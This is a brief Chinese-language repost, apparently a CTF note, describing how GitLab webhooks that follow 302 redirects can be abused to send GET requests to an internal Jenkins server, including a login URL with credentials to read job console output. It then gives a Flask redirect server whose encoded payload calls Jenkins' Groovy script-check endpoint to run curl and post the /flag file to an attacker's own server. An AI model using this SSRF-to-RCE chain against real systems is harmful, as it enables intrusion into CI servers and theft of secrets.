先mark一下

ps:来自网络


从 GitLab 发送的 webhook 以 302 响应代码响应时,GitLab 会自动遵循重定向。由于 302 重定向之后是 GET 请求,因此我们能够利用 GitLab 绕过上述 POST 请求限制,并从 GitLab webhook 服务向目标发送 GET 请求,这是我们在 GitHub 上无法做到的。


使用以下 URL 设置 Webhook:
http://jenkins.example-domain.com/j_acegi_security_check?j_username=admin&j_password=secretpass123&from=/job/prod_pipeline/1/consoleText&Submit=Sign+in
向 Jenkins 发送 POST 请求,身份验证成功。
我们收到一个 302 重定向响应,其中包含一个会话 cookie,并重定向到作业控制台输出页面。
GitLab webhook 服务会自动跟随重定向,将 GET 请求发送到作业控制台输出页面,以及添加到请求中的会话 cookie:
http://jenkins.example-domain.com/job/prod_pipeline/1/consoleText
作业控制台输出将发回并显示在攻击者的 GitLab webhook 事件日志中。

中转一下,POST转成GET,然后webhook发一下就行了


from flask import Flask, request, redirect

app = Flask(__name__)

@app.route('/redirect', methods=['POST'])
def redi():
return redirect('http://<attack_server>:<port>/?redirect_url=http%3A%2F%2Fjenkins%3A8080%2FsecurityRealm%2Fuser%2Fadmin%2FdescriptorByName%2Forg.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript%2FcheckScript%3Fsandbox%3Dtrue%26value%3Dpublic%20class%20x%20%7Bpublic%20x()%7B%22curl%20-X%20POST%20-d%20%40%2Fflag%20http%3A%2F%2<own_server>:<listen_port>%22.execute()%7D%7D',code=302)

if __name__ == '__main__':
app.run(debug=True,host="0.0.0.0",port=6666)